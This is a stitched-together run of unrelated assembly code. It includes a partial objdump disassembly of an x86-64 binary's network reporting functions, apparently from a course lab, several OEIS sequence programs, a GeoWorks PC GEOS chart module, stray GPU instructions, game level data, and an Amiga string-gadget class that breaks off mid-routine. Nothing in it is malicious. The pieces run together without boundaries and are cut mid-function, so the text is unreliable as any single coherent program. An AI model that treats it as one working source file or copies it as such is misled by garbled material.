0x2(%r14),%eax 401e5e: 85 c0 test %eax,%eax 401e60: 0f 95 c0 setne %al 401e63: 0f b6 c0 movzbl %al,%eax 401e66: f7 d8 neg %eax 401e68: 48 8b 94 24 58 a0 00 mov 0xa058(%rsp),%rdx 401e6f: 00 401e70: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx 401e77: 00 00 401e79: 0f 84 00 01 00 00 je 401f7f <submitr+0x7d3> 401e7f: e9 f6 00 00 00 jmpq 401f7a <submitr+0x7ce> 401e84: 48 8d 84 24 40 20 00 lea 0x2040(%rsp),%rax 401e8b: 00 401e8c: 48 89 44 24 08 mov %rax,0x8(%rsp) 401e91: 4c 89 3c 24 mov %r15,(%rsp) 401e95: 4c 8b 4c 24 18 mov 0x18(%rsp),%r9 401e9a: 4c 8b 44 24 10 mov 0x10(%rsp),%r8 401e9f: b9 d0 26 40 00 mov $0x4026d0,%ecx 401ea4: ba 00 20 00 00 mov $0x2000,%edx 401ea9: be 01 00 00 00 mov $0x1,%esi 401eae: 48 8d 7c 24 40 lea 0x40(%rsp),%rdi 401eb3: b8 00 00 00 00 mov $0x0,%eax 401eb8: e8 b3 ed ff ff callq 400c70 <__sprintf_chk@plt> 401ebd: 48 8d 7c 24 40 lea 0x40(%rsp),%rdi 401ec2: b8 00 00 00 00 mov $0x0,%eax 401ec7: 48 c7 c1 ff ff ff ff mov $0xffffffffffffffff,%rcx 401ece: f2 ae repnz scas %es:(%rdi),%al 401ed0: 48 f7 d1 not %rcx 401ed3: 48 83 e9 01 sub $0x1,%rcx 401ed7: 49 89 cd mov %rcx,%r13 401eda: 0f 84 f8 fc ff ff je 401bd8 <submitr+0x42c> 401ee0: 48 89 cb mov %rcx,%rbx 401ee3: 48 8d 6c 24 40 lea 0x40(%rsp),%rbp 401ee8: e9 5d fc ff ff jmpq 401b4a <submitr+0x39e> 401eed: 48 b8 45 72 72 6f 72 movabs $0x52203a726f727245,%rax 401ef4: 3a 20 52 401ef7: 49 89 06 mov %rax,(%r14) 401efa: 48 b8 65 73 75 6c 74 movabs $0x747320746c757365,%rax 401f01: 20 73 74 401f04: 49 89 46 08 mov %rax,0x8(%r14) 401f08: 48 b8 72 69 6e 67 20 movabs $0x6e6f6320676e6972,%rax 401f0f: 63 6f 6e 401f12: 49 89 46 10 mov %rax,0x10(%r14) 401f16: 48 b8 74 61 69 6e 73 movabs $0x6e6120736e696174,%rax 401f1d: 20 61 6e 401f20: 49 89 46 18 mov %rax,0x18(%r14) 401f24: 48 b8 20 69 6c 6c 65 movabs $0x6c6167656c6c6920,%rax 401f2b: 67 61 6c 401f2e: 49 89 46 20 mov %rax,0x20(%r14) 401f32: 48 b8 20 6f 72 20 75 movabs $0x72706e7520726f20,%rax 401f39: 6e 70 72 401f3c: 49 89 46 28 mov %rax,0x28(%r14) 401f40: 48 b8 69 6e 74 61 62 movabs $0x20656c6261746e69,%rax 401f47: 6c 65 20 401f4a: 49 89 46 30 mov %rax,0x30(%r14) 401f4e: 48 b8 63 68 61 72 61 movabs $0x6574636172616863,%rax 401f55: 63 74 65 401f58: 49 89 46 38 mov %rax,0x38(%r14) 401f5c: 66 41 c7 46 40 72 2e movw $0x2e72,0x40(%r14) 401f63: 41 c6 46 42 00 movb $0x0,0x42(%r14) 401f68: 44 89 e7 mov %r12d,%edi 401f6b: e8 e0 eb ff ff callq 400b50 <close@plt> 401f70: b8 ff ff ff ff mov $0xffffffff,%eax 401f75: e9 ee fe ff ff jmpq 401e68 <submitr+0x6bc> 401f7a: e8 b1 eb ff ff callq 400b30 <__stack_chk_fail@plt> 401f7f: 48 81 c4 68 a0 00 00 add $0xa068,%rsp 401f86: 5b pop %rbx 401f87: 5d pop %rbp 401f88: 41 5c pop %r12 401f8a: 41 5d pop %r13 401f8c: 41 5e pop %r14 401f8e: 41 5f pop %r15 401f90: c3 retq 0000000000401f91 <init_timeout>: 401f91: 53 push %rbx 401f92: 89 fb mov %edi,%ebx 401f94: 85 ff test %edi,%edi 401f96: 74 1e je 401fb6 <init_timeout+0x25> 401f98: be 60 16 40 00 mov $0x401660,%esi 401f9d: bf 0e 00 00 00 mov $0xe,%edi 401fa2: e8 e9 eb ff ff callq 400b90 <signal@plt> 401fa7: 85 db test %ebx,%ebx 401fa9: bf 00 00 00 00 mov $0x0,%edi 401fae: 0f 49 fb cmovns %ebx,%edi 401fb1: e8 8a eb ff ff callq 400b40 <alarm@plt> 401fb6: 5b pop %rbx 401fb7: c3 retq 0000000000401fb8 <init_driver>: 401fb8: 55 push %rbp 401fb9: 53 push %rbx 401fba: 48 83 ec 28 sub $0x28,%rsp 401fbe: 48 89 fd mov %rdi,%rbp 401fc1: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401fc8: 00 00 401fca: 48 89 44 24 18 mov %rax,0x18(%rsp) 401fcf: 31 c0 xor %eax,%eax 401fd1: be 01 00 00 00 mov $0x1,%esi 401fd6: bf 0d 00 00 00 mov $0xd,%edi 401fdb: e8 b0 eb ff ff callq 400b90 <signal@plt> 401fe0: be 01 00 00 00 mov $0x1,%esi 401fe5: bf 1d 00 00 00 mov $0x1d,%edi 401fea: e8 a1 eb ff ff callq 400b90 <signal@plt> 401fef: be 01 00 00 00 mov $0x1,%esi 401ff4: bf 1d 00 00 00 mov $0x1d,%edi 401ff9: e8 92 eb ff ff callq 400b90 <signal@plt> 401ffe: ba 00 00 00 00 mov $0x0,%edx 402003: be 01 00 00 00 mov $0x1,%esi 402008: bf 02 00 00 00 mov $0x2,%edi 40200d: e8 6e ec ff ff callq 400c80 <socket@plt> 402012: 89 c3 mov %eax,%ebx 402014: 85 c0 test %eax,%eax 402016: 79 4f jns 402067 <init_driver+0xaf> 402018: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax 40201f: 3a 20 43 402022: 48 89 45 00 mov %rax,0x0(%rbp) 402026: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax 40202d: 20 75 6e 402030: 48 89 45 08 mov %rax,0x8(%rbp) 402034: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax 40203b: 74 6f 20 40203e: 48 89 45 10 mov %rax,0x10(%rbp) 402042: 48 b8 63 72 65 61 74 movabs $0x7320657461657263,%rax 402049: 65 20 73 40204c: 48 89 45 18 mov %rax,0x18(%rbp) 402050: c7 45 20 6f 63 6b 65 movl $0x656b636f,0x20(%rbp) 402057: 66 c7 45 24 74 00 movw $0x74,0x24(%rbp) 40205d: b8 ff ff ff ff mov $0xffffffff,%eax 402062: e9 0a 01 00 00 jmpq 402171 <init_driver+0x1b9> 402067: bf 60 27 40 00 mov $0x402760,%edi 40206c: e8 2f eb ff ff callq 400ba0 <gethostbyname@plt> 402071: 48 85 c0 test %rax,%rax 402074: 75 68 jne 4020de <init_driver+0x126> 402076: 48 b8 45 72 72 6f 72 movabs $0x44203a726f727245,%rax 40207d: 3a 20 44 402080: 48 89 45 00 mov %rax,0x0(%rbp) 402084: 48 b8 4e 53 20 69 73 movabs $0x6e7520736920534e,%rax 40208b: 20 75 6e 40208e: 48 89 45 08 mov %rax,0x8(%rbp) 402092: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax 402099: 74 6f 20 40209c: 48 89 45 10 mov %rax,0x10(%rbp) 4020a0: 48 b8 72 65 73 6f 6c movabs $0x2065766c6f736572,%rax 4020a7: 76 65 20 4020aa: 48 89 45 18 mov %rax,0x18(%rbp) 4020ae: 48 b8 73 65 72 76 65 movabs $0x6120726576726573,%rax 4020b5: 72 20 61 4020b8: 48 89 45 20 mov %rax,0x20(%rbp) 4020bc: c7 45 28 64 64 72 65 movl $0x65726464,0x28(%rbp) 4020c3: 66 c7 45 2c 73 73 movw $0x7373,0x2c(%rbp) 4020c9: c6 45 2e 00 movb $0x0,0x2e(%rbp) 4020cd: 89 df mov %ebx,%edi 4020cf: e8 7c ea ff ff callq 400b50 <close@plt> 4020d4: b8 ff ff ff ff mov $0xffffffff,%eax 4020d9: e9 93 00 00 00 jmpq 402171 <init_driver+0x1b9> 4020de: 48 c7 04 24 00 00 00 movq $0x0,(%rsp) 4020e5: 00 4020e6: 48 c7 44 24 08 00 00 movq $0x0,0x8(%rsp) 4020ed: 00 00 4020ef: 66 c7 04 24 02 00 movw $0x2,(%rsp) 4020f5: 48 63 50 14 movslq 0x14(%rax),%rdx 4020f9: 48 8b 40 18 mov 0x18(%rax),%rax 4020fd: 48 8d 7c 24 04 lea 0x4(%rsp),%rdi 402102: b9 0c 00 00 00 mov $0xc,%ecx 402107: 48 8b 30 mov (%rax),%rsi 40210a: e8 a1 ea ff ff callq 400bb0 <__memmove_chk@plt> 40210f: 66 c7 44 24 02 3b 6e movw $0x6e3b,0x2(%rsp) 402116: ba 10 00 00 00 mov $0x10,%edx 40211b: 48 89 e6 mov %rsp,%rsi 40211e: 89 df mov %ebx,%edi 402120: e8 0b eb ff ff callq 400c30 <connect@plt> 402125: 85 c0 test %eax,%eax 402127: 79 32 jns 40215b <init_driver+0x1a3> 402129: 41 b8 60 27 40 00 mov $0x402760,%r8d 40212f: b9 20 27 40 00 mov $0x402720,%ecx 402134: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 40213b: be 01 00 00 00 mov $0x1,%esi 402140: 48 89 ef mov %rbp,%rdi 402143: b8 00 00 00 00 mov $0x0,%eax 402148: e8 23 eb ff ff callq 400c70 <__sprintf_chk@plt> 40214d: 89 df mov %ebx,%edi 40214f: e8 fc e9 ff ff callq 400b50 <close@plt> 402154: b8 ff ff ff ff mov $0xffffffff,%eax 402159: eb 16 jmp 402171 <init_driver+0x1b9> 40215b: 89 df mov %ebx,%edi 40215d: e8 ee e9 ff ff callq 400b50 <close@plt> 402162: 66 c7 45 00 4f 4b movw $0x4b4f,0x0(%rbp) 402168: c6 45 02 00 movb $0x0,0x2(%rbp) 40216c: b8 00 00 00 00 mov $0x0,%eax 402171: 48 8b 4c 24 18 mov 0x18(%rsp),%rcx 402176: 64 48 33 0c 25 28 00 xor %fs:0x28,%rcx 40217d: 00 00 40217f: 74 05 je 402186 <init_driver+0x1ce> 402181: e8 aa e9 ff ff callq 400b30 <__stack_chk_fail@plt> 402186: 48 83 c4 28 add $0x28,%rsp 40218a: 5b pop %rbx 40218b: 5d pop %rbp 40218c: c3 retq 000000000040218d <driver_post>: 40218d: 53 push %rbx 40218e: 48 83 ec 10 sub $0x10,%rsp 402192: 48 89 cb mov %rcx,%rbx 402195: 85 d2 test %edx,%edx 402197: 74 27 je 4021c0 <driver_post+0x33> 402199: 48 89 f2 mov %rsi,%rdx 40219c: be 78 27 40 00 mov $0x402778,%esi 4021a1: bf 01 00 00 00 mov $0x1,%edi 4021a6: b8 00 00 00 00 mov $0x0,%eax 4021ab: e8 50 ea ff ff callq 400c00 <__printf_chk@plt> 4021b0: 66 c7 03 4f 4b movw $0x4b4f,(%rbx) 4021b5: c6 43 02 00 movb $0x0,0x2(%rbx) 4021b9: b8 00 00 00 00 mov $0x0,%eax 4021be: eb 3e jmp 4021fe <driver_post+0x71> 4021c0: 48 85 ff test %rdi,%rdi 4021c3: 74 2b je 4021f0 <driver_post+0x63> 4021c5: 80 3f 00 cmpb $0x0,(%rdi) 4021c8: 74 26 je 4021f0 <driver_post+0x63> 4021ca: 48 89 0c 24 mov %rcx,(%rsp) 4021ce: 49 89 f1 mov %rsi,%r9 4021d1: 41 b8 ec 22 40 00 mov $0x4022ec,%r8d 4021d7: 48 89 f9 mov %rdi,%rcx 4021da: ba 8f 27 40 00 mov $0x40278f,%edx 4021df: be 6e 3b 00 00 mov $0x3b6e,%esi 4021e4: bf 60 27 40 00 mov $0x402760,%edi 4021e9: e8 be f5 ff ff callq 4017ac <submitr> 4021ee: eb 0e jmp 4021fe <driver_post+0x71> 4021f0: 66 c7 03 4f 4b movw $0x4b4f,(%rbx) 4021f5: c6 43 02 00 movb $0x0,0x2(%rbx) 4021f9: b8 00 00 00 00 mov $0x0,%eax 4021fe: 48 83 c4 10 add $0x10,%rsp 402202: 5b pop %rbx 402203: c3 retq 402204: 90 nop 402205: 90 nop 402206: 90 nop 402207: 90 nop 402208: 90 nop 402209: 90 nop 40220a: 90 nop 40220b: 90 nop 40220c: 90 nop 40220d: 90 nop 40220e: 90 nop 40220f: 90 nop 0000000000402210 <__libc_csu_init>: 402210: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp) 402215: 4c 89 64 24 e0 mov %r12,-0x20(%rsp) 40221a: 48 8d 2d df 0b 20 00 lea 0x200bdf(%rip),%rbp # 602e00 <__do_global_dtors_aux_fini_array_entry> 402221: 4c 8d 25 d0 0b 20 00 lea 0x200bd0(%rip),%r12 # 602df8 <__frame_dummy_init_array_entry> 402228: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp) 40222d: 4c 89 74 24 f0 mov %r14,-0x10(%rsp) 402232: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp) 402237: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp) 40223c: 48 83 ec 38 sub $0x38,%rsp 402240: 4c 29 e5 sub %r12,%rbp 402243: 41 89 fd mov %edi,%r13d 402246: 49 89 f6 mov %rsi,%r14 402249: 48 c1 fd 03 sar $0x3,%rbp 40224d: 49 89 d7 mov %rdx,%r15 402250: e8 6b e8 ff ff callq 400ac0 <_init> 402255: 48 85 ed test %rbp,%rbp 402258: 74 1c je 402276 <__libc_csu_init+0x66> 40225a: 31 db xor %ebx,%ebx 40225c: 0f 1f 40 00 nopl 0x0(%rax) 402260: 4c 89 fa mov %r15,%rdx 402263: 4c 89 f6 mov %r14,%rsi 402266: 44 89 ef mov %r13d,%edi 402269: 41 ff 14 dc callq *(%r12,%rbx,8) 40226d: 48 83 c3 01 add $0x1,%rbx 402271: 48 39 eb cmp %rbp,%rbx 402274: 75 ea jne 402260 <__libc_csu_init+0x50> 402276: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx 40227b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp 402280: 4c 8b 64 24 18 mov 0x18(%rsp),%r12 402285: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13 40228a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14 40228f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15 402294: 48 83 c4 38 add $0x38,%rsp 402298: c3 retq 402299: 0f 1f 80 00 00 00 00 nopl 0x0(%rax) 00000000004022a0 <__libc_csu_fini>: 4022a0: f3 c3 repz retq 4022a2: 90 nop 4022a3: 90 nop Disassembly of section .fini: 00000000004022a4 <_fini>: 4022a4: 48 83 ec 08 sub $0x8,%rsp 4022a8: 48 83 c4 08 add $0x8,%rsp 4022ac: c3 retq
; A170397: Number of reduced words of length n in Coxeter group on 4 generators S_i with relations (S_i)^2 = (S_i S_j)^44 = I. ; 1,4,12,36,108,324,972,2916,8748,26244,78732,236196,708588,2125764,6377292,19131876,57395628,172186884,516560652,1549681956,4649045868,13947137604,41841412812,125524238436,376572715308,1129718145924 mov $1,3 pow $1,$0 mul $1,8 div $1,6 mov $0,$1
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: cgroupPosition.asm AUTHOR: Chris Boyke METHODS: Name Description ---- ----------- FUNCTIONS: Scope Name Description ----- ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/30/92 Initial version. DESCRIPTION: $Id: cgroupPosition.asm,v 1.1 97/04/04 17:45:47 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ChartGroupSetDocPosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Set the 32-bit position PASS: *ds:si = ChartGroupClass object ds:di = ChartGroupClass instance data es = Segment of ChartGroupClass. ss:bp = PointDWord position RETURN: nothing DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 1/30/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ChartGroupSetDocPosition method dynamic ChartGroupClass, MSG_CHART_GROUP_SET_DOC_POSITION uses ax,cx .enter segmov es, ds segmov ds, ss mov si, bp lea di, es:[di].CGI_docPosition MovMem <size PointDWord> .leave ret ChartGroupSetDocPosition endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ChartGroupGetDocPosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Return the position of the chart group in document coordinates PASS: *ds:si = ChartGroupClass object ds:di = ChartGroupClass instance data es = Segment of ChartGroupClass. ss:bp = buffer of size PointDWord RETURN: ss:bp - buffer filled in DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 3/10/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ChartGroupGetDocPosition method dynamic ChartGroupClass, MSG_CHART_GROUP_GET_DOC_POSITION uses cx .enter segmov es, ss, si lea si, es:[di].CGI_docPosition mov di, bp MovMem <size PointDWord> .leave ret ChartGroupGetDocPosition endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ChartGroupSetPosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: PASS: *ds:si = ChartGroupClass object ds:di = ChartGroupClass instance data es = Segment of ChartGroupClass. RETURN: DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: This method is NOT used to set the position -- position for ChartGroup is always 0,0. This method is used to set the position of all children. KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- CDB 2/24/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ChartGroupSetPosition method dynamic ChartGroupClass, MSG_CHART_OBJECT_SET_POSITION uses cx,dx .enter clr cx, dx mov di, offset ChartGroupClass call ObjCallSuperNoLock .leave ret ChartGroupSetPosition endm
; A131725: Partial sums of A131711. ; 0,1,3,8,10,19,19,28,36,41,49,50,50,51,53,58,60,69,69,78,86,91,99,100,100,101,103,108,110,119,119,128,136,141,149,150,150,151,153,158,160,169,169,178,186,191,199,200 lpb $0 mov $2,$0 sub $0,1 seq $2,131711 ; Period 12: repeat 0, 1, 2, 5, 2, 9, 0, 9, 8, 5, 8, 1. add $1,$2 lpe mov $0,$1
(-f0.0) break(16) Jump: 10 Pop: 0 { align1 }; break(16) Jump: 5 Pop: 1 { align1 }; (+f0.0) break(16) Jump: 141 Pop: 0 { align1 }; (+f0.0.x) break(8) Jump: 16 Pop: 0 { align16 }; break(8) Jump: 6 Pop: 2 { align16 };
; A072257: a(n) = ((6*n-17)*4^n - 1)/3. ; -6,-15,-27,21,597,4437,25941,136533,677205,3233109,15029589,68506965,307582293,1364546901,5995058517,26127717717,113100805461,486762960213,2084490794325,8887718991189,37749899220309,159795689903445,674367131702613,2838206015165781,11915774014084437,49914895870022997,208666782734832981,870695927958295893,3626898899909039445,15084056351939581269,62642068416972019029,259791645704742851925,1076060070966390510933,4451814236455238456661,18397552756179659478357,75951394266153460520277,313250310030353132508501,1290780171984369691743573,5314236415389307413812565,21861408571364544242603349,89863485924687435319825749,369125350255666774676952405,1515187027250335232298407253,6215490613912013463556019541,25480932475290743991673640277,104399609979733736516492809557,427501960233217988265164232021,1749621922190004121857428903253,7156944013788545162616803513685,29261601355268295351215565657429,119581706621529640207855669040469,488468031287944396043396301804885,1994436944359080925021479709791573,8140007054265537063477496849454421,33209065324379001707476299438970197,135432409726783420644170445920490837,552114232624203337833742776340403541 mov $1,-2 lpb $0 sub $0,1 add $1,$0 mul $1,4 lpe add $0,2 sub $1,$0 sub $1,14 div $1,2 mul $1,3 add $1,21 mov $0,$1
.byte $01 ; Unknown purpose .byte OBJ_TOAD, $0D, $04 .byte $FF ; Terminator
include exec/funcdef.i include exec/types.i include exec/exec_lib.i include ox.i include ox_lib.i include easy.i include graphics/regions.i include graphics/graphics_lib.i include intuition/intuition_lib.i include devices/inputevent.i include "utility/tagitem.i" ;-------------------------------------------------------------------- ; OX_NEWSTRING include oxclass_newstring.i ; concept ; - no clipping, print only as many chars as fit ; - allways max lenght of 256 chars (internally + 1 for space or zero termination) ; todo ; - wenn objekt initialisiert ist und ein neuer string gesetzt wird, soll das DELFIRST bit gelöscht werden ; (erst machen wenn xufilter das braucht um aus der liste den filenamen und den kommentar zu setzen obwohl ; da von anfang an ein instabiler text steht) STRUCTURE oxNewString,oxO_SIZEOF UWORD oxNS_minwidth ; incl frames UWORD oxNS_left UWORD oxNS_top UWORD oxNS_width UWORD oxNS_height UWORD oxNS_propw UWORD oxNS_stringlenght APTR oxNS_string UWORD oxNS_maxlenght UWORD oxNS_offset ; number of chars scrolled left out UWORD oxNS_inpos ; cursor char from char offset UWORD oxNS_visiblechars ULONG oxNS_value ULONG oxNS_minvalue ULONG oxNS_maxvalue APTR oxNS_drawinfo APTR oxNS_prev ; for tab-linking APTR oxNS_next APTR oxNS_enterobject ; ptr to ptr, bit 0 must be clearedchecked to get ptr from ptr or from (a4,offset) APTR oxNS_enterhook APTR oxNS_edithook UBYTE oxNS_senschar UBYTE oxNS_flags LABEL oxNS_SIZEOF ; flags BITDEF oxNS,HEX,0 BITDEF oxNS,DEZ,1 BITDEF oxNS,EVEN,2 BITDEF oxNS,DELFIRST,3 ; click is not the first click - useful if you want the initial content ; to dissappear when this gadget is clicked for the first time! BITDEF oxNS,VISIBLE,5 BITDEF oxNS,OFF,6 BITDEF oxNS,ACTIVE,7 oxNS_BUFFERSIZE = 255 ; string buffer size TRUE = 1 FALSE = 0 OXCLASS_VERSION = 1 OXCLASS_REVISION = 0 OXCLASSHEADER OXCLASS_NAME dc.b "newstring",0 OXCLASS_DESC dc.b "$VER: String Gadget v" dc.b $30+OXCLASS_VERSION,".",$30+OXCLASS_REVISION," " dc.b "can edit text, hex or dez, supports min//max value bounds. " dc.b "Can call a hook and//or activate annother gadget when <enter> is pressed.",0 OXCLASS_AUTHOR dc.b "Andreas G. Szabo",0 even OXCLASS_TAGS dc.l oxCA_objectsize,oxNS_SIZEOF dc.l oxCA_dispatcher,.dispatcher dc.l oxCA_description,OXCLASS_DESC dc.l oxCA_author,OXCLASS_AUTHOR dc.l oxCA_makeexample,.cr_example ; dc.l oxCA_basesize, ; dc.l oxCA_envarray, dc.l TAG_END .dispatcher cmp.w #OXM_SET,d1 beq NS_SET cmp.w #OXM_DRAW,d1 beq NS_DRAW cmp.w #OXM_UPDATE,d1 beq NS_UPDATE cmp.w #OXM_INTUIMESSAGE,d1 beq NS_INTUI cmp.w #OXM_GETLAYOUT,d1 beq NS_GETLAYOUT cmp.w #OXM_SETLAYOUT,d1 beq NS_SETLAYOUT cmp.w #OXM_ACTIVATE,d1 beq NS_ACTIVATE cmp.w #OXM_INACTIVE,d1 beq NS_INACTIVE cmp.w #OXM_BACK,d1 beq NS_BACK cmp.w #OXM_FRONT,d1 beq NS_FRONT cmp.w #OXM_DEINIT,d1 beq NS_DEINIT cmp.w #OXM_INIT,d1 beq NS_INIT cmp.w #OXM_SETDEF,d1 beq NS_SETDEF cmp.w #OXM_RELINK,d1 beq NS_RELINK cmp.w #OXM_LINKPRIV,d1 beq NS_LINKPRIV rts .cr_example lea .example(pc),a2 moveq #0,d2 jmp _LVOoxCreateObject(a6) .example dc.l OX_BUFFER,.buffer STRUCTURE newstringexample,0 APTR nsx_gad1 APTR nsx_gad2 APTR nsx_gad3 APTR nsx_gad4 LABEL nsx_SIZEOF .buffer dc.l oxBfA_buffersize,nsx_SIZEOF dc.l OX_VERTGROUP,.vg_tags dc.l TAG_END .vg_tags dc.l OXCLASS_NAME,.gad1 dc.l OXCLASS_NAME,.gad2 dc.l OX_HORIZGROUP,.hg dc.l oxGA_hprop,1 dc.l oxGA_minspace,10 dc.l TAG_END .hg dc.l OXCLASS_NAME,.gad3 dc.l OXCLASS_NAME,.gad4 dc.l oxGA_spaceprop,FALSE dc.l TAG_END .gad1 dc.l oxA_propw,TRUE dc.l oxNSA_string,.tx1 dc.l oxNSA_enterobject,OX_REL|nsx_gad4 dc.l OX_RELPTR,nsx_gad1 dc.l TAG_END .gad2 dc.l oxA_minwidth,200 dc.l oxNSA_ghosted,TRUE dc.l oxNSA_string,.tx2 dc.l OX_RELPTR,nsx_gad2 dc.l oxNSA_enterobject,OX_REL|nsx_gad1 dc.l TAG_END .gad3 dc.l oxA_minwidth,50 dc.l oxA_senschar,"a" dc.l oxNSA_dez,TRUE dc.l oxNSA_value,222 dc.l oxNSA_maxlenght,3 dc.l oxNSA_minvalue,3 dc.l oxNSA_maxvalue,500 dc.l oxNSA_delfirst,TRUE dc.l OX_RELPTR,nsx_gad3 dc.l oxNSA_enterobject,OX_REL|nsx_gad1 dc.l TAG_END .gad4 dc.l oxA_minwidth,35 dc.l oxA_senschar,"a" dc.l oxNSA_dez,TRUE dc.l oxNSA_value,20 dc.l oxNSA_maxlenght,4 dc.l oxNSA_minvalue,10 dc.l oxNSA_maxvalue,30 dc.l OX_RELPTR,nsx_gad4 dc.l oxNSA_enterobject,OX_REL|nsx_gad3 dc.l TAG_END .tx1 dc.b "Donau Dampf Schiff Fahrts Gesellschafts Vorstands Vorsteher Muetzen Krempe",0 .tx2 dc.b "turned off",0 even NS_FRONT bset #oxNSB_VISIBLE,oxNS_flags(a0) rts NS_BACK bclr #oxNSB_VISIBLE,oxNS_flags(a0) rts NS_SETDEF move.l #oxNS_BUFFERSIZE,d0 move.w d0,oxNS_maxlenght(a3) move.w #$40,oxNS_minwidth(a3) move.l #$ffffffff,oxNS_maxvalue(a3) addq.l #1,d0 ; put a space for termination or cursor at end bsr alloc_mem move.l d0,oxNS_string(a3) beq.b .rts move.l d0,a0 move.b #$20,(a0) ; initial string cursor space .rts rts NS_SET movem.l (a1),d0/d1/a1 .dri cmp.w #oxA_drawinfo,d0 bne.b .next move.l d1,oxNS_drawinfo(a0) rts .next cmp.w #oxA_next,d0 bne.b .prev move.l d1,oxNS_next(a0) rts .prev cmp.w #oxA_prev,d0 bne.b .propw move.l d1,oxNS_prev(a0) rts .propw cmp.w #oxA_propw,d0 bne.b .minwidth move.w d1,oxNS_propw(a0) rts .minwidth cmp.w #oxA_minwidth,d0 bne.b .senschar move.w d1,oxNS_minwidth(a0) rts .senschar cmp.w #oxA_senschar,d0 bne.b .enterhook move.b d1,oxNS_senschar(a0) rts .enterhook cmp.w #oxNSA_enterhook,d0 bne.b .edithook move.l d1,oxNS_enterhook(a0) rts .edithook cmp.w #oxNSA_edithook,d0 bne.b .enterob move.l d1,oxNS_edithook(a0) rts .enterob cmp.w #oxNSA_enterobject,d0 bne.b .maxl move.l d1,oxNS_enterobject(a0) rts .maxl cmp.w #oxNSA_maxlenght,d0 bne.b .str cmp.w #oxNS_BUFFERSIZE,d1 ble.b .set_ml move.w #oxNS_BUFFERSIZE,d1 .set_ml move.w d1,oxNS_maxlenght(a0) move.l oxNS_string(a0),a1 move.b #" ",(a1,d1.w) cmp.w oxNS_stringlenght(a0),d1 bge .clrpos move.w d1,oxNS_stringlenght(a0) .clrpos clr.w oxNS_offset(a0) clr.w oxNS_inpos(a0) rts .str cmp.w #oxNSA_string,d0 bne.b .ghosted clr.w oxNS_offset(a0) clr.w oxNS_inpos(a0) move.l oxNS_string(a0),a1 tst.l d1 ; if no text, set lenght to 0 beq.b .set_null_len move.l d1,a2 move.w oxNS_maxlenght(a0),d1 beq .set_null_len moveq #0,d0 .cpy_lp move.b (a2)+,(a1)+ beq.b .terminate addq.w #1,d0 dbf d1,.cpy_lp subq.w #1,d0 .terminate move.b #$20,-(a1) ; terminate with space so that there is a possible cursor pos at end .set_len move.w d0,oxNS_stringlenght(a0) rts .set_null_len clr.w oxNS_stringlenght(a0) move.b #$20,(a1) rts .ghosted cmp.w #oxNSA_ghosted,d0 bne.b .hex moveq #oxNSF_OFF,d0 bsr .flag rts .hex cmp.w #oxNSA_hex,d0 bne.b .dez moveq #oxNSF_HEX,d0 bra .flag .dez cmp.w #oxNSA_dez,d0 bne.b .even moveq #oxNSF_DEZ,d0 bra .flag .even cmp.w #oxNSA_even,d0 bne.b .min moveq #oxNSF_EVEN,d0 bra.b .flag .min cmp.w #oxNSA_minvalue,d0 bne.b .max move.l d1,oxNS_minvalue(a0) rts .max cmp.w #oxNSA_maxvalue,d0 bne.b .val move.l d1,oxNS_maxvalue(a0) rts .val cmp.w #oxNSA_value,d0 bne.b .df move.l d1,oxNS_value(a3) btst #oxOB_INITIALIZED,oxO_flags(a3) beq.b .rts bra calc_string .rts rts .df cmp.w #oxNSA_delfirst,d0 